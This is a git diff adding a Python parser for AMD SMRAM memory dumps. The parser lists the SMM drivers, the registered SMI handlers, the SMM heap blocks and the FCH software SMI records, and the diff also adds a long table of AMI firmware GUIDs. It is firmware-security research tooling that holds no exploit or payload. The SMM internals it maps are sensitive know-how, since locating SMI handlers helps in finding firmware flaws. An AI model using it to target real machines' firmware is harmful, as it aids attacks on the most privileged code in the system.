+PROTOCOL_ENTRY_SIGNATURE = b'spte' +EFI_HANDLE_SIGNATURE = b'shdl' +EFI_SMM_DRIVER_ENTRY_SIGNATURE = b'sdrv' +PROTOCOL_INTERFACE_SIGNATURE = b'spif' +PROTOCOL_NOTIFY_SIGNATURE = b'sptn' +SMM_LOCK_BOX_DATA_SIGNATURE = b'LOCKBOXD' + + +# PE format constants +HEADERS_SIZE = 0x400 +IMAGE_DOS_HEADER_e_lfanew = 0x3c +IMAGE_NT_HEADERS64_OptionalHeader = 0x18 +IMAGE_OPTIONAL_HEADER64_SizeOfCode = 0x04 +IMAGE_OPTIONAL_HEADER64_SizeOfInitializedData = 0x08 +IMAGE_OPTIONAL_HEADER64_AddressOfEntryPoint = 0x10 +IMAGE_OPTIONAL_HEADER64_SizeOfImage = 0x38 + + +################################################ +################################################ +##### Globals + +g_smram_data = None +g_tseg_base = 0 +g_tseg_end = 0 +guid_db = None + +g_smi_entries = [] +g_smi_handlers = set() +g_smm_heap_blocks = [] # array of tuples ( address, block_size, data[] ) +g_fw = None +g_smm_modules = [] # array of dictionaries + +################################################ +################################################ +################################################ + +def tseg_size(): + global g_tseg_base + global g_tseg_end + return g_tseg_end - g_tseg_base + 1 + +def is_in_tseg(v): + global g_tseg_base + global g_tseg_end + if v >= g_tseg_base and v <= g_tseg_end: + return True + return False + +def add_base(v): + global g_tseg_base + return v + g_tseg_base + +def offset_rel(v): + global g_tseg_base + return v - g_tseg_base + +def read_ptr_at_offset(offset): + return offset_rel(struct.unpack(" ") + print(f"-> Example: {sys.argv[0]} smram.bin 0xAE000000 0xAEFFFFFF bios.bin") + + +def load_smram_dump(filepath): + global g_smram_data + f = open(filepath, "rb") + g_smram_data = bytearray(f.read()) + f.close() + + +guid_parse = lambda data: struct.unpack('=IHHBBBBBBBB', data) + +def guid_to_str(guid): + if type(guid) is tuple: + res = '%.8X-%.4X-%.4X-%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X' % guid + else: + if (len(guid) != 16): + print("guid_to_str parameter error") + return None + data1 = struct.unpack(" 0xff or instance.obj.SwSmiInputValue < 0: + return None + if not is_in_tseg(instance.obj.handler): + return None + if not is_in_tseg(instance.obj.next_record): + return None + + return instance + + def print_detail(self): + val = f"FchSwSmiRecord at {self.address:08x} ({add_base(self.address):08x})\n" + val += f" - pDispatchHandle: {offset_rel(self.obj.pDispatchHandle):08x} ({self.obj.pDispatchHandle:08x})\n" + val += f" - SwSmiInputValue: {self.obj.SwSmiInputValue:08x}\n" + val += f" - handler: {self.obj.handler:08x}\n" + val += f" - next_record: {self.obj.next_record:08x} ({self.next_record():08x})\n" + print(val) + + + def __str__(self): + val = f"FchSwSmiRecord at {self.address:08x} - {self.obj.SwSmiInputValue:02x} - handler: {self.obj.handler:08x} [{self.module_name}]" + return val + + def next_record(self): + return offset_rel(self.obj.next_record) + + def handler(self): + return self.obj.handler + + + + + +class GuidDb: + + def __init__(self, guids = None): + + # load + # efiguids_ami.py + # efiguids_asrock.py + # efiguids_dell.py + # efiguids_lenovo.py + # efiguids.py + + + self.guids = {} + + try: + import efiguidsx + #print(efiguidsx.GUIDs) + self.load(efiguidsx.GUIDs) + + except ImportError: + print("Error importing efiguidsx") + + try: + + import efiguids_ami + self.load(efiguids_ami.GUIDs) + + except ImportError: pass + + try: + + import efiguids_asrock + self.load(efiguids_asrock.GUIDs) + + except ImportError: pass + + try: + + import efiguids_dell + self.load(efiguids_dell.GUIDs) + + except ImportError: pass + + try: + + import efiguids_lenovo + self.load(efiguids_lenovo.GUIDs) + + except ImportError: pass + + if len(self.guids) == 0: + + print('Error while loading GUIDs from %s' % EFIUTILS_PATH) + print('You can download ida-efiutils here: %s\n' % EFIUTILS_URL) + + if guids is not None: self.load(guids) + + def load(self, guids): + + # load GUID's database from ida-efiutils + for name, value in guids.items(): + key = guid_to_str(tuple(value)) + #print(key) + self.guids[key] = name + + + def lookup(self, guid): + # get name by GUID + try: + key = guid_to_str(guid) + #print(key) + return self.guids[key] + except KeyError: + return None + + + +def find_smi_handlers(): + + offset = 0 + while offset < len(g_smram_data): + try: + index = g_smram_data[offset:].index(SMI_ENTRY_SIGNATURE) + offset += index + #print(f"+ found SMI_ENTRY at {offset:08x}") + smi_entry = SmiEntry.from_data(add_base(offset), g_smram_data[offset:]) + + SmiEntry.process_smi_handlers(smi_entry) + #smi_entry.show() + offset += sizeof(SmiEntryStruct) + + g_smi_entries.append(smi_entry) + except ValueError: + break + + + ## Make sure the parsing of the internal linked lists of 'smie' + ## have the same result of going through the dump looking for 'smih' + + offset = 0 + while offset < len(g_smram_data): + try: + index = g_smram_data[offset:].index(SMI_HANDLER_SIGNATURE) + offset += index + smi_handler = SmiHandler.from_data(add_base(offset), g_smram_data[offset:]) + offset += sizeof(SmiHandlerStruct) + + if smi_handler not in g_smi_handlers: + raise Exception("missing SMIH records from SMIE linked lists?") + + except ValueError: + break + + +def print_smie_handlers(): + print('\nRegistered SMI Handlers:\n') + for smie in g_smi_entries: + print(smie.handler_type_name()) + + for smih in smie.smi_handlers: + handler_addr = smih.handler() + for mm in g_smm_modules: + mm_address = mm["address"] + mm_size = mm["size"] + mm_end = mm_address + mm_size + + if handler_addr >= mm_address and handler_addr <= mm_end: + smih.set_module_name(mm["name"]) + break + + print(smih) + + + + +def find_heap_allocations(): + + offset = 0 + while offset < len(g_smram_data): + try: + index = g_smram_data[offset:].index(SMM_POOL_HEADER_SIGNATURE) + offset += index + + sphd_size = struct.unpack(" tseg_size(): + break + + sptl_magic = offset + sphd_size - POOL_TAIL_SIZE + if g_smram_data[sptl_magic:sptl_magic+4] != SMM_POOL_TAIL_SIGNATURE: + raise Exception("unmatched sphd -> broken SMM pool?") + + g_smm_heap_blocks.append( + ( offset, sphd_size, g_smram_data[offset+POOL_HEADER_SIZE:sptl_magic]) + ) + + offset += sphd_size + except ValueError: + break + +def print_fch_sw_smi_handlers(): + + print('\nRegistered (FCH) SW SMI Handlers:\n') + + ## take into account POOL HEADER and POOL TAIL + FCH_SW_SMI_RECORD_SIZE_IN_HEAP = sizeof(FchSwSmiRecordStruct) + POOL_TAIL_SIZE + POOL_HEADER_SIZE + + for block in g_smm_heap_blocks: + address, size, data = block + + if size >= FCH_SW_SMI_RECORD_SIZE_IN_HEAP and size <= 0x80: + + if SMI_ENTRY_SIGNATURE in data or SMI_HANDLER_SIGNATURE in data \ + or PROTOCOL_ENTRY_SIGNATURE in data or EFI_HANDLE_SIGNATURE in data \ + or EFI_SMM_DRIVER_ENTRY_SIGNATURE in data or PROTOCOL_INTERFACE_SIGNATURE in data \ + or PROTOCOL_NOTIFY_SIGNATURE in data or SMM_LOCK_BOX_DATA_SIGNATURE in data: + continue + + record = FchSwSmiRecord.from_data(address + POOL_HEADER_SIZE, data) + if record is not None: + + handler_addr = record.handler() + + for mm in g_smm_modules: + mm_address = mm["address"] + mm_size = mm["size"] + mm_end = mm_address + mm_size + + if handler_addr >= mm_address and handler_addr <= mm_end: + record.set_module_name(mm["name"]) + break + + + print(record) + + + + + +def retrieve_smm_images(): + + + _align = lambda val: '%s' % val + + ptr = 0 + + while ptr < len(g_smram_data): + + # check for DOS image header + if g_smram_data[ptr : ptr + 2] == b'MZ': + + # read e_lfanew field + e_lfanew = struct.unpack('I', g_smram_data[ptr + IMAGE_DOS_HEADER_e_lfanew : \ + ptr + IMAGE_DOS_HEADER_e_lfanew + 4])[0] + ptr + + # check for PE image header + if g_smram_data[e_lfanew : e_lfanew + 2] == b'PE': + + addr = add_base(ptr) + + name = g_fw.image_name(g_smram_data[ptr : ptr + HEADERS_SIZE]) + + _, _, entry, size = g_fw.image_info(g_smram_data[ptr : ptr + HEADERS_SIZE]) + + g_smm_modules.append({ + "name": _align('' if name is None else name), + "address": addr, + "entry_point": add_base(ptr + entry), + "size": size + }) + + + ptr += 0x100 + + + + + +if __name__ == "__main__": + if len(sys.argv) < 4: + usage() + exit(-1) + + load_smram_dump(sys.argv[1]) + g_tseg_base = int(sys.argv[2], 16) + g_tseg_end = int(sys.argv[3], 16) + guid_db = GuidDb(Additional_GUIDs) + + if len(sys.argv) == 5: + # load BIOS image + g_fw = FwImage(sys.argv[4]) + + retrieve_smm_images() + + print('\nLOADED SMM DRIVERS:\n') + for mm in g_smm_modules: + print('0x%x: size = 0x%.8x, ep = 0x%x, name = %s' % \ + (mm["address"], mm["size"], mm["entry_point"], \ + mm["name"])) + + + find_smi_handlers() + print_smie_handlers() + + + find_heap_allocations() + print_fch_sw_smi_handlers() + + + + + \ No newline at end of file diff --git a/tools/amd_smram_parser/ctypes_utils.py b/tools/amd_smram_parser/ctypes_utils.py new file mode 100644 index 0000000..bbda795 --- /dev/null +++ b/tools/amd_smram_parser/ctypes_utils.py @@ -0,0 +1,77 @@ +import ctypes + +_u8 = ctypes.c_uint8 +_u16 = ctypes.c_uint16 +_u32 = ctypes.c_uint32 +_u64 = ctypes.c_uint64 + +u8 = _u8 +u16 = _u16 +u32 = _u32 +u64 = _u64 + +_g_formats = { + _u8 : "0x{:02x}", + _u16 : "0x{:04x}", + _u32 : "0x{:08x}", + _u64 : "0x{:016x}", +} + +def w32(dst_obj, src_obj): + """Copies a 32-bit value from src obj, and assignes it to the value of dst_obj.""" + dst_obj.value = _u32.from_address(ctypes.addressof(src_obj)).value + +def w64(dst_obj, src_obj): + """Copies a 64-bit value from src obj, and assignes it to the value of dst_obj.""" + dst_obj.value = _u64.from_address(ctypes.addressof(src_obj)).value + +def as32(obj): + """Copies the first 32-bits of the object and returns it as a number.""" + return _u32.from_address(ctypes.addressof(obj)).value + +def as64(obj): + """Copies the first 64-bits of the object and returns it as a number.""" + return _u64.from_address(ctypes.addressof(obj)).value + + +class PrintingStructure(ctypes.Structure): + + def value_to_string(self, t, v, bits=None): + if isinstance(v, bytes): + return repr(v) + elif issubclass(t, ctypes.Array): + elements = [] + for i in v: + elements.append(self.value_to_string(v._type_, i)) + return "[{}]".format(", ".join(elements)) + else: + if bits != None: + if bits <= 8: + t = _u8 + elif bits <= 16: + t = _u16 + elif bits <= 32: + t = _u32 + else: + t = _u64 + fmt = _g_formats.get(t, "{}") + return fmt.format(v) + + + def show(self, prefix="", top_level=True): + if top_level: + print("{}:".format(self.__class__.__name__)) + prefix += " " + for field in self._fields_: + name = field[0] + field_type = field[1] + value = getattr(self, name) + if issubclass(field_type, PrintingStructure): + print("{}{}:".format(prefix, name)) + value.show(prefix + " ", top_level=False) + else: + value_str = self.value_to_string(field_type, value, field[2] if len(field) > 2 else None) + print("{}{}: {}".format(prefix, name, value_str)) + + def sizeof(self): + return ctypes.sizeof(self) \ No newline at end of file diff --git a/tools/amd_smram_parser/efiguids/__init__.py b/tools/amd_smram_parser/efiguids/__init__.py new file mode 100644 index 0000000..6a6e084 --- /dev/null +++ b/tools/amd_smram_parser/efiguids/__init__.py @@ -0,0 +1,34 @@ +from . import efiguids +from . import efiguids_ami +from . import efiguids_dell +from . import efiguids_lenovo +from . import efiguids_asrock + +from ..utils import aguid + +GUID_TABLES = [ + efiguids.GUIDs, + efiguids_ami.GUIDs, + efiguids_dell.GUIDs, + efiguids_lenovo.GUIDs, + efiguids_asrock.GUIDs, +] + + +def get_guid_name(guid): + raw_guid = aguid(guid) + + for guid_table in GUID_TABLES: + for name, match_guid in list(guid_table.items()): + match = True + for i, k in enumerate(raw_guid): + if match_guid[i] != k: + match = False + break + if match: + return name + return None + + +def get_tables(): + return GUID_TABLES diff --git a/tools/amd_smram_parser/efiguids/efiguids_ami.py b/tools/amd_smram_parser/efiguids/efiguids_ami.py new file mode 100644 index 0000000..eae3379 --- /dev/null +++ b/tools/amd_smram_parser/efiguids/efiguids_ami.py @@ -0,0 +1,910 @@ +""" +efiguids_ami.py + +GUIDs found in the AMI source + +See the following URL for more info and the latest version: +https://github.com/snarez/ida-efiutils + +""" + +GUIDs = { + 'ACOUSTIC_SETUP_PROTOCOL_GUID': [0xc1d7859d, 0x5719, 0x46c3, 0xa2, 0x98, 0xd0, 0x71, 0xe3, 0x2, 0x64, 0xd1], + 'ADD_BOOT_OPTION_GUID': [0x19d96d3f, 0x6a6a, 0x47d2, 0xb1, 0x95, 0x7b, 0x24, 0x32, 0xda, 0x3b, 0xe2], + 'ADVANCED_FORM_SET_GUID': [0xe14f04fa, 0x8706, 0x4353, 0x92, 0xf2, 0x9c, 0x24, 0x24, 0x74, 0x6f, 0x9f], + 'AHCI_BUS_INIT_PROTOCOL_GUID': [0xB2FA4764, 0x3B6E, 0x43D3, 0x91, 0xDF, 0x87, 0xD1, 0x5A, 0x3E, 0x56, 0x68], + 'AHCI_SMM_PROTOCOL_GUID': [0xB2FA5764, 0x3B6E, 0x43D3, 0x91, 0xDF, 0x87, 0xD1, 0x5A, 0x3E, 0x56, 0x68], + 'AMICSM_PCIBUSNUM_XLAT_PROTOCOL_GUID': [0xcb5c54c0, 0x230d, 0x43db, 0x92, 0x2c, 0x24, 0xd3, 0x4f, 0x8c, 0x91, 0x5c], + 'AMITSESETUP_GUID': [0xc811fa38, 0x42c8, 0x4579, 0xa9, 0xbb, 0x60, 0xe9, 0x4e, 0xdd, 0xfb, 0x34], + 'AMITSE_ADMIN_PASSWORD_VALID_GUID': [0x541d5a75, 0x95ee, 0x43c7, 0x9e, 0x5d, 0x23, 0x94, 0xdc, 0x48, 0x62, 0x49], + 'AMITSE_AFTER_FIRST_BOOT_OPTION_GUID': [0xC48D651C, 0x9D0E, 0x4ce7, 0xAD, 0x39, 0xED, 0xD1, 0xAB, 0x83, 0x6B, 0x30], + 'AMITSE_BOOT_ORDER_CHANGE_GUID': [0x1b6bc809, 0xc986, 0x4937, 0x93, 0x4f, 0x1e, 0xa5, 0x86, 0x22, 0xfe, 0x50], + 'AMITSE_DRIVER_HEALTH_CTRL_GUID': [0x58279c2d, 0xfb19, 0x466e, 0xb4, 0x2e, 0xcd, 0x43, 0x70, 0x16, 0xdc, 0x25], + 'AMITSE_DRIVER_HEALTH_ENB_GUID': [0x885f288, 0x418c, 0x4be1, 0xa6, 0xaf, 0x8b, 0xad, 0x61, 0xda, 0x8, 0xfe], + 'AMITSE_DRIVER_HEALTH_GUID': [0x7459a7d4, 0x6533, 0x4480, 0xbb, 0xa7, 0x79, 0xe2, 0x5a, 0x44, 0x43, 0xc9], + 'AMITSE_EVENT_BEFORE_BOOT_GUID': [0x3677770f, 0xefb2, 0x43b2, 0xb8, 0xae, 0xb3, 0x2, 0xe9, 0x60, 0x48, 0x82], + 'AMITSE_INVALID_PASSWORD_GUID': [0xd69240c0, 0xdd40, 0x4f2d, 0x98, 0x63, 0x48, 0x48, 0xda, 0x6e, 0x61, 0x5f], + 'AMITSE_NVRAM_UPDATE_GUID': [0xd84beff0, 0x159a, 0x4b60, 0x9a, 0xb9, 0xac, 0x5c, 0x47, 0x4b, 0xd3, 0xb1], + 'AMITSE_PASSWORD_PROMPT_ENTER_GUID': [0x73e7e01, 0x2611, 0x4e85, 0xb8, 0x96, 0xa3, 0xb6, 0x76, 0x7c, 0xba, 0x0], + 'AMITSE_PASSWORD_PROMPT_EXIT_GUID': [0xb9b038b0, 0xe2b6, 0x4aab, 0x94, 0x35, 0x41, 0x65, 0xec, 0xfe, 0xd0, 0x32], + 'AMITSE_SETUP_ENTER_GUID': [0x71202EEE, 0x5F53, 0x40d9, 0xAB, 0x3D, 0x9E, 0x0C, 0x26, 0xD9, 0x66, 0x57], + 'AMITSE_USER_PASSWORD_VALID_GUID': [0xab1404ca, 0x4801, 0x4208, 0x98, 0xbf, 0x30, 0xd5, 0x21, 0xda, 0xd4, 0xd3], + 'AMI_APTIO_SIG_OWNER_GUID': [0x26DC4851, 0x195F, 0x4AE1, 0x9A, 0x19, 0xFB, 0xF8, 0x83, 0xBB, 0xB3, 0x5E], + 'AMI_BBS_DEVICE_PATH_GUID': [0x1db184ae, 0x81f5, 0x4e72, 0x85, 0x44, 0x2b, 0xab, 0xc, 0x2c, 0xac, 0x5c], + 'AMI_BEFORE_CPU_RC_PROTOCOL_GUID': [0x1d26adc3, 0xb011, 0xee2c, 0x21, 0x77, 0x89, 0xbb, 0xaa, 0xcc, 0x33, 0x92], + 'AMI_BIOSPPI_FLAGS_MANAGEMENT_GUID': [0xe9008d70, 0x2a4e, 0x47ea, 0x8e, 0xc4, 0x72, 0xe2, 0x57, 0x67, 0xe5, 0xef], + 'AMI_BOARD_INFO_PROTOCOL_GUID': [0x0273146c, 0x96c4, 0x45a1, 0xa7, 0xaf, 0x78, 0xe0, 0x52, 0x4a, 0x0a, 0xe2], + 'AMI_BOARD_INFO_SECTION_GUID': [0xE6F4F8F7, 0x4992, 0x47b2, 0x83, 0x02, 0x85, 0x08, 0x74, 0x5E, 0x4A, 0x23], + 'AMI_CALLBACK_GUID': [0x9CF0F18E, 0x7C7D, 0x49DE, 0xB5, 0xAA, 0xBB, 0xBA, 0xD6, 0xB2, 0x10, 0x07], + 'AMI_CAPSULE_HOB_GUID': [0xbf66fdf7, 0xf64c, 0x4b11, 0x8a, 0xb7, 0xf8, 0x43, 0xaa, 0x2a, 0x8b, 0xea], + 'AMI_CCID_IO_PROTOCOL_GUID': [0xB167C2F5, 0xE26A, 0x4DFF, 0x8E, 0x1C, 0x08, 0x07, 0xC7, 0xF0, 0x2A, 0x88], + 'AMI_CCID_PRESENCE_GUID': [0x5FDEE00D, 0xDA40, 0x405A, 0xB9, 0x2E, 0xCF, 0x4A, 0x80, 0xEA, 0x8F, 0x76], + 'AMI_CMOS_BAD_FLAG_HOB_GUID': [0xb098f766, 0xb17a, 0x4005, 0x83, 0x9, 0xeb, 0x23, 0xf1, 0x44, 0x8c, 0x15], + 'AMI_CPUID_CKSUM_HOB_GUID': [0xd4ca32b1, 0xb1f2, 0x4ff3, 0xb4, 0x75, 0x66, 0xe7, 0xb8, 0x19, 0x2a, 0x3b], + 'AMI_CPU_INFO_2_PROTOCOL_GUID': [0xac9cf0a8, 0xe551, 0x4be2, 0xad, 0xa, 0xe1, 0xb5, 0x64, 0xee, 0xa2, 0x73], + 'AMI_CSM_DRIVER_STARTED_GUID': [0x3EA824D1, 0x81E3, 0x4FF5, 0xBD, 0x43, 0xBB, 0x9C, 0x65, 0xDF, 0x7C, 0x46], + 'AMI_CSM_THUNK_PROTOCOL_GUID': [0x2362ea9c, 0x84e5, 0x4dff, 0x83, 0xbc, 0xb5, 0xac, 0xec, 0xb5, 0x7c, 0xbb], + 'AMI_DDDT_PRESENT_FLAG_HOB_GUID': [0x4e7af417, 0xc200, 0x400a, 0x9d, 0x18, 0x86, 0x5a, 0xda, 0xd3, 0x8, 0x96], + 'AMI_DEBUGGER_CPU_PROTOCOL_GUID': [0xab21acc3, 0xba33, 0xee2c, 0x66, 0xbc, 0x12, 0x56, 0x77, 0x11, 0x1a, 0xb2], + 'AMI_DEBUGPORT_HOB_GUID': [0xe894b313, 0x54ca, 0x4bb2, 0x8c, 0xdd, 0x85, 0x1e, 0x8a, 0xc9, 0x2, 0x7c], + 'AMI_DEVICE_NAME_DEVICE_PATH_GUID': [0x2d6447ef, 0x3bc9, 0x41a0, 0xac, 0x19, 0x4d, 0x51, 0xd0, 0x1b, 0x4c, 0xe6], + 'AMI_DIGITAL_SIGNATURE_PROTOCOL_GUID': [0x5f87ba17, 0x957d, 0x433d, 0x9e, 0x15, 0xc0, 0xe7, 0xc8, 0x79, 0x88, 0x99], + 'AMI_DIMM_SPD_DATA_HOB_GUID': [0xd4ca32b3, 0xb1fe, 0x4ff7, 0xb0, 0x73, 0x60, 0xed, 0xbb, 0x16, 0x22, 0x33], + 'AMI_EARLY_BIST_PPI_GUID': [0xa7e2ce72, 0xdc32, 0x4bc0, 0x9e, 0x35, 0xfe, 0xb3, 0xa, 0xe5, 0xcc, 0x47], + 'AMI_EFIKEYCODE_PROTOCOL_GUID': [0x0adfb62d, 0xff74, 0x484c, 0x89, 0x44, 0xf8, 0x5c, 0x4b, 0xea, 0x87, 0xa8], + 'AMI_FAST_BOOT_PROTOCOL_GUID': [0x3496a19a, 0x2e99, 0x41ba, 0x83, 0x3e, 0xf, 0xde, 0x2e, 0xbf, 0x2a, 0x55], + 'AMI_FW_RECOVERY_CAPSULE_GUID': [0x5e794317, 0xa07e, 0x45df, 0x94, 0xbb, 0x1c, 0x99, 0x7d, 0x62, 0x32, 0xca], + 'AMI_HECI_SMM_GUID': [0xFC9A50C1, 0x8B3D, 0x40D0, 0x99, 0x12, 0x6E, 0x26, 0xD7, 0x89, 0x6C, 0xBA], + 'AMI_INTERNAL_FACTORY_TDC_TDP_HOB_GUID': [0x982d8c6f, 0xf6f6, 0x4135, 0xa3, 0x9, 0xa4, 0x59, 0x3e, 0xa5, 0x64, 0x17], + 'AMI_INTERNAL_UCODE_HOB_GUID': [0x94567c6f, 0xf7a9, 0x4229, 0x13, 0x30, 0xfe, 0x11, 0xcc, 0xab, 0x3a, 0x11], + 'AMI_INT_SMM_COMM_PROTOCOL_GUID': [0xb27dab38, 0x9814, 0x4e06, 0xa5, 0xa2, 0x65, 0xae, 0x9a, 0x14, 0x25, 0x8f], + 'AMI_IRQ_DMA_MASK_VARIABLE_GUID': [0xfc8be767, 0x89f1, 0x4d6e, 0x80, 0x99, 0x6f, 0x2, 0x1e, 0xbc, 0x87, 0xcc], + 'AMI_ISO9660_MEDIA_GUID': [0xba7c46d1, 0x9c5e, 0x4fc8, 0x94, 0x3d, 0x1a, 0x49, 0x1f, 0x23, 0xfe, 0x1], + 'AMI_LOAD_CSM_GUID': [0x16287ba4, 0x5b9d, 0x4d98, 0x91, 0x9f, 0x7b, 0x7b, 0x78, 0xcb, 0x2b, 0xe0], + 'AMI_MASKED_DEVICE_PATH_GUID': [0x99e275e7, 0x75a0, 0x4b37, 0xa2, 0xe6, 0xc5, 0x38, 0x5e, 0x6c, 0x0, 0xcb], + 'AMI_MEASURE_PCIOPROM_GUID': [0xb3dae700, 0x2a77, 0x4ea4, 0xaf, 0x79, 0x32, 0x97, 0xb4, 0x84, 0xbe, 0x61], + 'AMI_MEDIA_DEVICE_PATH_GUID': [0x5023b95c, 0xdb26, 0x429b, 0xa6, 0x48, 0xbd, 0x47, 0x66, 0x4c, 0x80, 0x12], + 'AMI_MEMORY_ERROR_REPORT_PPI_GUID': [0x85226559, 0x0def, 0x48d8, 0xa8, 0xc9, 0xb7, 0x46, 0xd6, 0xa4, 0xdf, 0x01], + 'AMI_MRC_INFO_HOB_GUID': [0xa6351a87, 0x2965, 0x4718, 0x88, 0xc7, 0x0b, 0x5b, 0x5a, 0xc0, 0xb5, 0xe4], + 'AMI_NB_MRC_INFO_GUID': [0x6737934b, 0xa27e, 0x4c05, 0xad, 0x5b, 0x6a, 0xb8, 0x62, 0x73, 0x68, 0x0b], + 'AMI_NVRAM_SPD_MAP_GUID': [0x717fc150, 0xabd9, 0x4614, 0x80, 0x15, 0xb, 0x33, 0x23, 0xea, 0xb9, 0x5c], + 'AMI_OPROM_POLICY_PROTOCOL_GUID': [0x542d6248, 0x4198, 0x4960, 0x9f, 0x59, 0x23, 0x84, 0x64, 0x6d, 0x63, 0xb4], + 'AMI_OS_PPI_CONFIRMATION_OVERRIDE_GUID': [0x5f171f5f, 0x8385, 0x4086, 0xa6, 0x9b, 0x1f, 0xcf, 0x6, 0xae, 0x4a, 0x3d], + 'AMI_PB_KEY_RSA2048_GUID': [0x04627B9B, 0x385E, 0x4744, 0x90, 0x21, 0xE6, 0x63, 0x19, 0xF2, 0x03, 0x94], + 'AMI_PCI_BUS_EXT_PROTOCOL_GUID': [0xf42a009d, 0x977f, 0x4f08, 0x94, 0x40, 0xbc, 0xa5, 0xa3, 0xbe, 0xd9, 0xaf], + 'AMI_PEIM_HOB_GUID': [0xf4491ba4, 0x7672, 0x486f, 0xb4, 0xd7, 0x99, 0x89, 0x9d, 0x22, 0xda, 0x57], + 'AMI_PEIM_LOAD_HOB_GUID': [0xec9c36fd, 0x1642, 0x4b84, 0x91, 0xfa, 0x91, 0x9c, 0x2d, 0x6, 0x6f, 0xb4], + 'AMI_PEI_AFTER_MRC_GUID': [0x64c96700, 0x6b4c, 0x480c, 0xa3, 0xe1, 0xb8, 0xbd, 0xe8, 0xf6, 0x2, 0xb2], + 'AMI_PEI_CPUINIT_POLICY_PPI_GUID': [0xf824ccbb, 0xd8e0, 0x4522, 0x8a, 0xa8, 0x65, 0xf0, 0x4b, 0x46, 0x3d, 0xb5], + 'AMI_PEI_END_MEMORY_DETECT_GUID': [0x9f58e424, 0xb96b, 0x45a5, 0xad, 0xdc, 0xd2, 0xfe, 0x39, 0x4a, 0x99, 0xd9], + 'AMI_PEI_END_OF_MRC_GUID': [0x633194be, 0x1697, 0x11e1, 0xb5, 0xf0, 0x2c, 0xb2, 0x48, 0x24, 0x01, 0x9b], + 'AMI_PEI_MRC_DEFAULT_GUID': [0xe813e116, 0xc099, 0x4d21, 0x9c, 0x34, 0xa5, 0x52, 0xd5, 0xe9, 0xa5, 0xd0], + 'AMI_PEI_NBINIT_POLICY_PPI_GUID': [0x9ce4d938, 0x9c87, 0x41d0, 0x9e, 0x55, 0x34, 0x92, 0x3f, 0xaf, 0x8b, 0x4f], + 'AMI_PEI_NB_CPU_ONLY_RESET_PPI_GUID': [0x1f0f049e, 0x3a68, 0x4c97, 0x86, 0x5a, 0xbc, 0x5e, 0xed, 0x79, 0x20, 0xe7], + 'AMI_PEI_NB_CUSTOM_PPI_GUID': [0x584cc99f, 0x4be8, 0x43d1, 0xa4, 0x5a, 0x93, 0x3d, 0xc3, 0x94, 0x79, 0xfc], + 'AMI_PEI_PCI_TABLE_INIT_PPI_GUID': [0x97f91e78, 0xea12, 0x4ea6, 0xb7, 0xb3, 0x7b, 0x6, 0x78, 0xc2, 0x86, 0x73], + 'AMI_PEI_SBINIT_POLICY_PPI_GUID': [0x95e8152b, 0x1b98, 0x4f11, 0x8a, 0x77, 0xdb, 0x26, 0x58, 0x3e, 0xbc, 0x42], + 'AMI_PEI_SB_CUSTOM_PPI_GUID': [0x38965bb5, 0x8097, 0x40f5, 0xb7, 0x42, 0x8c, 0xc1, 0x4a, 0x64, 0x9b, 0x64], + 'AMI_PEI_SB_OEM_PLATFORM_POLICY_OVERRIDE_PPI_GUID': [0x61187967, 0x9a77, 0x419d, 0xaa, 0xea, 0x64, 0xdd, 0x56, 0x19, 0x08, 0x15], + 'AMI_PEI_SET_NB_SUBID_PPI_GUID': [0x584cc99f, 0x4be8, 0x43d1, 0xa4, 0x5a, 0x93, 0x3d, 0xc3, 0x94, 0x79, 0xfc], + 'AMI_PERF_TUNE_DATA_HOB_GUID': [0x4d6c0496, 0x8de4, 0x4af2, 0x9a, 0x2e, 0x9b, 0xe5, 0xb9, 0x15, 0x6a, 0xc5], + 'AMI_PLL_OVER_VOTAGE_FLAG_HOB_GUID': [0x181e874d, 0xc089, 0x4c99, 0x8e, 0xc2, 0x6d, 0x67, 0x61, 0x34, 0x82, 0x20], + 'AMI_POST_MANAGER_PROTOCOL_GUID': [0x8A91B1E1, 0x56C7, 0x4ADC, 0xAB, 0xEB, 0x1C, 0x2C, 0xA1, 0x72, 0x9E, 0xFF], + 'AMI_RECOVERY_IMAGE_HOB_GUID': [0xdac3cb98, 0x2295, 0x412e, 0x82, 0x6d, 0xfd, 0xee, 0xa3, 0x20, 0xcf, 0x31], + 'AMI_RESET_TYPE_HOB_GUID': [0x39e8cda1, 0x6a35, 0x4cdd, 0xa9, 0x2, 0xd1, 0xa7, 0x95, 0xf7, 0x3, 0x80], + 'AMI_RESET_TYPE_VARIABLE_GUID': [0x308DD02C, 0x092B, 0x4123, 0xA2, 0xAF, 0x3E, 0xF4, 0x44, 0x0A, 0x6B, 0x4A], + 'AMI_ROM_LAYOUT_HOB_GUID': [0xd7642443, 0x87b7, 0x4832, 0x96, 0x7, 0xe, 0x1e, 0xa8, 0x1c, 0x1d, 0x86], + 'AMI_SB_SMI_PROTOCOL_GUID': [0x589bc616, 0xbb4f, 0x47ed, 0x92, 0xf7, 0x93, 0x39, 0x3c, 0x69, 0x7e, 0x25], + 'AMI_SETUP_NVRAM_UPDATE_GUID': [0xd84beff0, 0x159a, 0x4b60, 0x9a, 0xb9, 0xac, 0x5c, 0x47, 0x4b, 0xd3, 0xb1], + 'AMI_SMBIOS_CPU_INFO_PROTOCOL_GUID': [0x3d6cdb0a, 0x5b1f, 0x43a3, 0xa4, 0x3b, 0x44, 0x12, 0x67, 0xf9, 0xda, 0xb5], + 'AMI_SMBIOS_MEMORY_INFO_HOB_GUID': [0x7d6b8734, 0xb754, 0x443f, 0xb5, 0x88, 0x77, 0x43, 0x84, 0x3a, 0xd3, 0xf1], + 'AMI_SMBUS_HOB_GUID': [0x17cb4b7, 0xb80c, 0x4040, 0xb6, 0xc8, 0xea, 0x98, 0x2b, 0xbb, 0x25, 0xb7], + 'AMI_SMBUS_SMM_PROTOCOL_GUID': [0x72e40094, 0x2ee1, 0x497a, 0x8f, 0x33, 0x4c, 0x93, 0x4a, 0x9e, 0x9c, 0xc], + 'AMI_SMM_DIGITAL_SIGNATURE_PROTOCOL_GUID': [0x91ABC830, 0x16FC, 0x4D9E, 0xA1, 0x89, 0x5F, 0xC8, 0xBB, 0x41, 0x14, 0x02], + 'AMI_SMM_INFO_PROTOCOL_GUID': [0xeb5198eb, 0xe7f5, 0x45a1, 0x9c, 0xcb, 0xe5, 0x33, 0x64, 0xbb, 0x49, 0x92], + 'AMI_STANDARD_DEFAULTS_VARIABLE_GUID': [0x4599d26f, 0x1a11, 0x49b8, 0xb9, 0x1f, 0x85, 0x87, 0x45, 0xcf, 0xf8, 0x24], + 'AMI_STATUS_CODE_CPU_BIST_DATA_GUID': [0xcd541d77, 0x6699, 0x4b36, 0xa3, 